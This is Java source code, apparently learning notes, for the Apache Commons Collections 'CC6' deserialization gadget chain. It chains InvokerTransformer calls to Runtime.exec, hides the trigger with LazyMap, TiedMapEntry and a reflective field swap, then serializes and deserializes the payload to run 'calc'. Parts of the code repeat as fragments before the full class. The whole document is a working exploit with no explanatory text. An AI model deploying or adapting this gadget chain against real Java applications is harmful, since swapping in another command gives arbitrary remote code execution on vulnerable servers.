Class c = Runtime.class; Transformer[] t = new Transformer[]{ new ConstantTransformer(c), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
}; ChainedTransformer chainedTransformer = new ChainedTransformer(t);
HashMap map = new HashMap(); Class ti = tiedMapEntry.getClass(); Field map1 = ti.getDeclaredField("map"); map1.setAccessible(true); map1.set(tiedMapEntry, new HashMap());
public class cc6 { public static void main(String[] args) throws Exception { Class c = Runtime.class; Transformer[] t = new Transformer[]{ new ConstantTransformer(c), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
}; ChainedTransformer chainedTransformer = new ChainedTransformer(t); Map m = new HashMap(); LazyMap decorate = (LazyMap) LazyMap.decorate(m, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, new String()); HashMap map = new HashMap(); Class ti = tiedMapEntry.getClass(); Field map1 = ti.getDeclaredField("map"); map1.setAccessible(true); map1.set(tiedMapEntry, new HashMap()); System.out.println(tiedMapEntry);
map.put(tiedMapEntry, "aaa");
map1.set(tiedMapEntry, decorate);
serialize(map); unserialize("ser.bin");
// Method getDeclaredMethod = (Method)new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(c); // Runtime invoke = (Runtime)new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getDeclaredMethod); // Object exec1 = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(invoke);
}
public static void serialize(Object obj) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj); }
public static Object unserialize(String file) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin")); return objectInputStream.readObject(); } }